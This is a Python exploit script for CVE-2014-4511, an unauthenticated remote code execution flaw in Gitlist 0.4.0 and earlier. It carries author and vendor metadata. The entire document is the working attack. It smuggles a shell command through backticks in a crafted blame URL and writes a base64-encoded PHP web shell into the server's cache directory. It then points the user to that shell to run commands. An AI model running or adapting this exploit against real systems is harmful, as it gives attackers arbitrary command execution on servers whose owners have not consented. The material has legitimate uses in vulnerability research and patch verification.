Gitlist 0.4.0 Remote Code Execution

`from commands import getoutput  
import urllib  
import sys  
  
"""  
Exploit Title: Gitlist <= 0.4.0 anonymous RCE  
Date: 06/20/2014  
Author: drone (@dronesec)  
Vendor Homepage: http://gitlist.org/  
Software link: https://s3.amazonaws.com/gitlist/gitlist-0.4.0.tar.gz  
Version: <= 0.4.0  
Fixed in: 0.5.0  
Tested on: Debian 7  
More information: http://hatriot.github.io/blog/2014/06/29/gitlist-rce/  
cve: CVE-2014-4511  
"""  
  
if len(sys.argv) <= 1:  
print '%s: [url to git repo] {cache path}' % sys.argv[0]  
print ' Example: python %s http://localhost/gitlist/my_repo.git' % sys.argv[0]  
print ' Example: python %s http://localhost/gitlist/my_repo.git /var/www/git/cache' % sys.argv[0]  
sys.exit(1)  
  
url = sys.argv[1]  
url = url if url[-1] != '/' else url[:-1]  
  
path = "/var/www/gitlist/cache"  
if len(sys.argv) > 2:  
path = sys.argv[2]  
  
print '[!] Using cache location %s' % path  
  
# payload <?system($_GET['cmd']);?>  
payload = "PD9zeXN0ZW0oJF9HRVRbJ2NtZCddKTs/Pgo="  
  
# sploit; python requests does not like this URL, hence wget is used  
mpath = '/blame/master/""`echo {0}|base64 -d > {1}/x.php`'.format(payload, path)  
mpath = url+ urllib.quote(mpath)  
  
out = getoutput("wget %s" % mpath)  
if '500' in out:  
print '[!] Shell dropped; go hit %s/cache/x.php?cmd=ls' % url.rsplit('/', 1)[0]  
else:  
print '[-] Failed to drop'  
print out  
  
`